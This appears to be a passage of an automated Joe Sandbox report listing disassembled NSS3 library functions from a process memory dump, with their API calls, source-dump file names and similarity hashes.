Part of subcall function 6C9EADC0: EnterCriticalSection.KERNEL32(?,?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAE24
Part of subcall function 6C9EADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C9CD079,00000000,00000001), ref: 6C9EAE5A
Part of subcall function 6C9EADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAE6F
Part of subcall function 6C9EADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAE7F
Part of subcall function 6C9EADC0: TlsGetValue.KERNEL32(?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAEB1
Part of subcall function 6C9EADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAEC9

SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,00000000,?,-00000001), ref: 6C9D19B6

Part of subcall function 6C9FFAB0: free.MOZGLUE(?,-00000001,?,?,6C99F673,00000000,00000000), ref: 6C9FFAC7

SECITEM_DupItem_Util.NSS3(-00000018), ref: 6C9D19F2

Strings

E-v1, xrefs: 6C9D1880
+@, xrefs: 6C9D1971

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: K11_$Item_UtilValuememcpy$CriticalEnterFreeSectionfree$AllocDataDeriveExtractImportTemplateUnlockWithZfreememset
String ID: +@$E-v1
API String ID: 3144289787-3744174662
Opcode ID: 053db27f7bba3fbb9711ba0b8e7154a0e4169a88bac2313ad981492fb404509d
Instruction ID: 6901d977f1d0644b659e0482b7d4dcbedceecbc3c92070a10bddaa4fa08ea00e
Opcode Fuzzy Hash: 053db27f7bba3fbb9711ba0b8e7154a0e4169a88bac2313ad981492fb404509d
Instruction Fuzzy Hash: 1351B5B69047019BD700CF25D84066BBBF8EFA9318F05852CED98A7751F730E588CB92

Function 6CA1AD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA1ADB1

Part of subcall function 6C9FBE30: SECOID_FindOID_Util.NSS3(6C9B311B,00000000,?,6C9B311B,?), ref: 6C9FBE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CA1ADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CA1AE08

Part of subcall function 6C9FB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CAD18D0,?), ref: 6C9FB095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CA1AE25
PL_FreeArenaPool.NSS3 ref: 6CA1AE63
PR_CallOnce.NSS3(6CB02AA4,6CA012D0), ref: 6CA1AE4D

Part of subcall function 6C924C70: TlsGetValue.KERNEL32(?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924C97
Part of subcall function 6C924C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924CB0
Part of subcall function 6C924C70: PR_Unlock.NSS3(?,?,?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA1AE93
PR_CallOnce.NSS3(6CB02AA4,6CA012D0), ref: 6CA1AECC
PL_FreeArenaPool.NSS3 ref: 6CA1AEDE
PL_FinishArenaPool.NSS3 ref: 6CA1AEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA1AEF5
PL_FinishArenaPool.NSS3 ref: 6CA1AF16

Strings

security, xrefs: 6CA1ADEE

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: f564c55c5de56489bd308f18a4b5cdddabc28c3a5c6bf738be76cda6fe2905db
Instruction ID: b382d753d21630dc1b7065058511ae1b21359a6c3b4edb94c60d3983821a5e65
Opcode Fuzzy Hash: f564c55c5de56489bd308f18a4b5cdddabc28c3a5c6bf738be76cda6fe2905db
Instruction Fuzzy Hash: 2B414DB690822067E7114B24AD45BAB32BAAF5131CF180525E81493F85FB35DDDCC7E3

Function 6CA0E8C0 Relevance: 22.9, APIs: 15, Instructions: 353memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(0000001C,?,6CA0E853,?,FFFFFFFF,?,?,6CA0B0CC,?,6CA0B4A0,?,00000000), ref: 6CA0E8D9

Part of subcall function 6CA00D30: calloc.MOZGLUE ref: 6CA00D50
Part of subcall function 6CA00D30: TlsGetValue.KERNEL32 ref: 6CA00D6D

Part of subcall function 6CA0C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CA0DAE2,?), ref: 6CA0C6C2

PORT_ArenaMark_Util.NSS3(?), ref: 6CA0E972
PORT_ArenaMark_Util.NSS3(?), ref: 6CA0E9C2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CA0EA00
PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6CA0EA3F
SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6CA0EA5A
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CA0EA81
SECOID_SetAlgorithmID_Util.NSS3(?,?,00000010,00000000), ref: 6CA0EA9E
SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CA0EACF
PK11_KeyGen.NSS3(00000000,-00000001,00000000,?,00000000), ref: 6CA0EB56
PK11_FreeSymKey.NSS3(00000000), ref: 6CA0EBC2
SECOID_FindOID_Util.NSS3(?), ref: 6CA0EBEC
free.MOZGLUE(00000000), ref: 6CA0EC58

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Util$Find$ArenaTag_$AlgorithmAlloc_K11_Mark_$DestroyFreePublicValuecallocfree
String ID:
API String ID: 759478663-0
Opcode ID: c3d47d286f20e5d4b25b584bd5f8c9fbad16bb46174e4b7776671e8e3a5a8215
Instruction ID: c9362bc64e5d5057d8ea35dc98c0d4a8fa1fe591a0a894583effb873f3357515
Opcode Fuzzy Hash: c3d47d286f20e5d4b25b584bd5f8c9fbad16bb46174e4b7776671e8e3a5a8215
Instruction Fuzzy Hash: 35C1A6B1F002059BEB00CF65E981BAA77B4BF1938CF180069E956A7B51E731E884DBD1

Function 6C9E29A0 Relevance: 22.8, APIs: 15, Instructions: 292COMMON

Download Yara Rule

APIs

PK11_ImportPublicKey.NSS3(00000000,?,00000000,?,?,?,?,?,6C9B6A5E,00000001,00000000,?,6C9B6540,?,0000000D,00000000), ref: 6C9E2A39
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6C9B6A5E,00000001,00000000,?,6C9B6540,?,0000000D,00000000), ref: 6C9E2A5B
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,6C9B6A5E,00000001,00000000,?,6C9B6540,?,0000000D), ref: 6C9E2A6F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9B6A5E,00000001), ref: 6C9E2AAD
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C9B6A5E,00000001,00000000), ref: 6C9E2ACB
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9B6A5E,00000001), ref: 6C9E2ADF
PR_Unlock.NSS3(?), ref: 6C9E2B38
PR_Unlock.NSS3(?), ref: 6C9E2B8B

Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907AD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907CD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907D6
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C92204A), ref: 6C9907E4
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,6C92204A), ref: 6C990864
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C990880
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,6C92204A), ref: 6C9908CB
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908D7
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908FB

PR_SetError.NSS3(FFFFE040,00000000,?,?,?,?,?,6C9B6A5E,00000001,00000000,?,6C9B6540,?,0000000D,00000000,?), ref: 6C9E2CA2

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSectioncalloc$ErrorImportK11_Public
String ID:
API String ID: 2580468248-0
Opcode ID: de673345efd167aade00f77b8343af5ba69b62a86956c7f644700d9db4691bc2
Instruction ID: b484fed8aeaec3148c78f78f187c90f53b4f10ec286510b36c1527a8ca38b487
Opcode Fuzzy Hash: de673345efd167aade00f77b8343af5ba69b62a86956c7f644700d9db4691bc2
Instruction Fuzzy Hash: 00B1F274E00A069FDB12DF68DC88B9AB7B8FF2D308F148529D805A7B51E731E845CB91

Function 6CABAF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA69890: TlsGetValue.KERNEL32(?,?,?,6CA697EB), ref: 6CA6989E

EnterCriticalSection.KERNEL32(?), ref: 6CABAF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6CABAFCE
PR_SetPollableEvent.NSS3(?), ref: 6CABAFD9
EnterCriticalSection.KERNEL32(?), ref: 6CABAFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6CABB00F
_PR_MD_UNLOCK.NSS3(?), ref: 6CABB02F
_PR_MD_UNLOCK.NSS3(?), ref: 6CABB070
PR_JoinThread.NSS3(?), ref: 6CABB07B
free.MOZGLUE(?), ref: 6CABB084
EnterCriticalSection.KERNEL32(?), ref: 6CABB09B
_PR_MD_UNLOCK.NSS3(?), ref: 6CABB0C4
PR_JoinThread.NSS3(?), ref: 6CABB0F3
free.MOZGLUE(?), ref: 6CABB0FC
PR_JoinThread.NSS3(?), ref: 6CABB137
free.MOZGLUE(?), ref: 6CABB140

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 23c7f4318538b06e45908dbdf9eff6bcc652ad0083807e4c5a6a749820b69bfc
Instruction ID: aabc3baf166b38880b8e9c553f10a6afab37b35e2e3b68d588c2996ee4dd1401
Opcode Fuzzy Hash: 23c7f4318538b06e45908dbdf9eff6bcc652ad0083807e4c5a6a749820b69bfc
Instruction Fuzzy Hash: 55918EB5900601DFCB04DF25D9C095ABBF5FF493187298569D8196BB22E732FC8ACB90

Function 6C9C2980 Relevance: 22.7, APIs: 15, Instructions: 217COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C9A9E71,?,?,6C9BF03D), ref: 6C9C29A2
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C9A9E71,?), ref: 6C9C29B6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C9A9E71,?,?,6C9BF03D), ref: 6C9C29E2
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C9A9E71,?), ref: 6C9C29F6
PL_HashTableLookup.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9A9E71,?), ref: 6C9C2A06
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9A9E71), ref: 6C9C2A13

Part of subcall function 6CA4DD70: TlsGetValue.KERNEL32 ref: 6CA4DD8C
Part of subcall function 6CA4DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CA4DDB4

PR_Unlock.NSS3(?), ref: 6C9C2A6A
TlsGetValue.KERNEL32 ref: 6C9C2A98
EnterCriticalSection.KERNEL32(?), ref: 6C9C2AAC
PL_HashTableLookup.NSS3(?,?), ref: 6C9C2ABC
PR_Unlock.NSS3(?), ref: 6C9C2AC9
TlsGetValue.KERNEL32 ref: 6C9C2B3D
EnterCriticalSection.KERNEL32(?), ref: 6C9C2B51
PL_HashTableLookup.NSS3(?,6C9A9E71), ref: 6C9C2B61
PR_Unlock.NSS3(?), ref: 6C9C2B6E

Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907AD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907CD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907D6
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C92204A), ref: 6C9907E4
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,6C92204A), ref: 6C990864
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C990880
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,6C92204A), ref: 6C9908CB
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908D7
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908FB

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Value$CriticalSection$EnterUnlock$HashLookupTable$calloc$Leave
String ID:
API String ID: 2204204336-0
Opcode ID: c8679ba33e9d70aa82c20b5a3dbe8db03680b44e66e63406fbd0200153367c34
Instruction ID: 6d90b264468a07ffbd2e956bd93402a0c441fec14a8f87a7c3e4f315d4b7d507
Opcode Fuzzy Hash: c8679ba33e9d70aa82c20b5a3dbe8db03680b44e66e63406fbd0200153367c34
Instruction Fuzzy Hash: 0A711976E00A05ABDF109F24DC4489A7778FF2A358B098564EC2C9BB11EB31E955C7D3

Function 6CA35CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6CA32BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CA32A28,00000060,00000001), ref: 6CA32BF0
Part of subcall function 6CA32BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CA32A28,00000060,00000001), ref: 6CA32C07
Part of subcall function 6CA32BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6CA32A28,00000060,00000001), ref: 6CA32C1E
Part of subcall function 6CA32BE0: free.MOZGLUE(?,00000000,00000000,?,6CA32A28,00000060,00000001), ref: 6CA32C4A

free.MOZGLUE(?,?,6CA3AAD4,?,?,?,?,?,?,?,?,00000000,?,6CA380C1), ref: 6CA35D0F
free.MOZGLUE(?,?,?,6CA3AAD4,?,?,?,?,?,?,?,?,00000000,?,6CA380C1), ref: 6CA35D4E
free.MOZGLUE(?,?,?,6CA3AAD4,?,?,?,?,?,?,?,?,00000000,?,6CA380C1), ref: 6CA35D62
free.MOZGLUE(?,?,?,?,6CA3AAD4,?,?,?,?,?,?,?,?,00000000,?,6CA380C1), ref: 6CA35D85
free.MOZGLUE(?,?,?,?,6CA3AAD4,?,?,?,?,?,?,?,?,00000000,?,6CA380C1), ref: 6CA35D99
free.MOZGLUE(?,?,?,?,6CA3AAD4,?,?,?,?,?,?,?,?,00000000,?,6CA380C1), ref: 6CA35DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6CA3AAD4,?,?,?,?,?,?,?,?,00000000,?,6CA380C1), ref: 6CA35E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6CA3AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CA35E3E
free.MOZGLUE(?,?,?,?,?,?,6CA3AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CA35E47
free.MOZGLUE(?,?,?,?,6CA3AAD4,?,?,?,?,?,?,?,?,00000000,?,6CA380C1), ref: 6CA35E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6CA3AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CA35E78
free.MOZGLUE(?,?,?,?,?,?,?,6CA3AAD4), ref: 6CA35EB9
free.MOZGLUE(?,?,?,?,?,?,?,6CA3AAD4), ref: 6CA35EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6CA3AAD4), ref: 6CA35F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CA3AAD4), ref: 6CA35F4B

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: 06b5531449a0162d7b5deb6fdeaf938dabf2a08f25d005abfbb1831846088670
Instruction ID: 2bcc7ec0b4fe46830f52f789e094b9403710b2d4420b65656ae430c494231521
Opcode Fuzzy Hash: 06b5531449a0162d7b5deb6fdeaf938dabf2a08f25d005abfbb1831846088670
Instruction Fuzzy Hash: B47183B5A00B019FD711DF24D884A9277F5FF89308F188529D86E87B11E731F9A9CB91

Function 6C98B860 Relevance: 22.7, APIs: 15, Instructions: 174COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000144,?,?,?,?,?,6C98B45E,?,?,?,?,?,?,?,?), ref: 6C98B87D
TlsGetValue.KERNEL32 ref: 6C98B8FE
EnterCriticalSection.KERNEL32(?), ref: 6C98B912
TlsGetValue.KERNEL32 ref: 6C98B959
_PR_MD_UNLOCK.NSS3(?), ref: 6C98B977
calloc.MOZGLUE(00000001,0000002C), ref: 6C98B983
PR_NewCondVar.NSS3 ref: 6C98B9B9
InitializeCriticalSectionAndSpinCount.KERNEL32(-00000040,000005DC,?,?), ref: 6C98BA54
GetLastError.KERNEL32 ref: 6C98BA5F
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C98BA77
DeleteCriticalSection.KERNEL32(?), ref: 6C98BA96
free.MOZGLUE(?), ref: 6C98BA9D
free.MOZGLUE(?), ref: 6C98BAB3
DeleteCriticalSection.KERNEL32(?), ref: 6C98BACD
free.MOZGLUE(00000000), ref: 6C98BAD4

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CriticalSection$free$DeleteErrorValuecalloc$CondCountEnterInitializeLastSpin
String ID:
API String ID: 1841981668-0
Opcode ID: 4c52401cbc3c8889361c427fe6907ba7a2f0bf32f982f4037f3aed4f2572db50
Instruction ID: 4df2303633c1036ab24a1aea0d3ae9cc2a1372692a938a687caac9fca98a49cc
Opcode Fuzzy Hash: 4c52401cbc3c8889361c427fe6907ba7a2f0bf32f982f4037f3aed4f2572db50
Instruction Fuzzy Hash: E051D4B16013019FEB109F29DC44B5B7BF8BF15308F088929E86AD3A41EB35D556CB91

Function 6C9B8DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6C9B8E22
EnterCriticalSection.KERNEL32(?), ref: 6C9B8E36
memset.VCRUNTIME140(?,00000000,?), ref: 6C9B8E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6C9B8E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C9B8E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C9B8EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6C9B8EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C9B8EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6C9B8F00
free.MOZGLUE(?), ref: 6C9B8F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6C9B8F39
memset.VCRUNTIME140(?,00000000,?), ref: 6C9B8F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6C9B8F5B
PR_Unlock.NSS3(?), ref: 6C9B8F72
PR_Unlock.NSS3(?), ref: 6C9B8F82

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: bf300f37ef09eafa96793ba56dccbf302a1c515244e409f61035b2266c81bd3a
Instruction ID: ffe81821b4f4fe19c8d239baa2c6c8ee38f33b028d025c867b9190d136695774
Opcode Fuzzy Hash: bf300f37ef09eafa96793ba56dccbf302a1c515244e409f61035b2266c81bd3a
Instruction Fuzzy Hash: FA5108B2E00206AFD7149F68CC849ABB7BDEF59358B148129FC18AB700E731ED5587D5

Function 6CAB0FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6CAB1000

Part of subcall function 6CA69BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C991A48), ref: 6CA69BB3
Part of subcall function 6CA69BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C991A48), ref: 6CA69BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CAB1016

Part of subcall function 6CA4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA4C2BF

PR_Unlock.NSS3(?), ref: 6CAB1021

Part of subcall function 6CA4DD70: TlsGetValue.KERNEL32 ref: 6CA4DD8C
Part of subcall function 6CA4DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CA4DDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CAB1046
PR_Unlock.NSS3(?), ref: 6CAB106B
PR_Lock.NSS3 ref: 6CAB1079
PR_Unlock.NSS3 ref: 6CAB1096
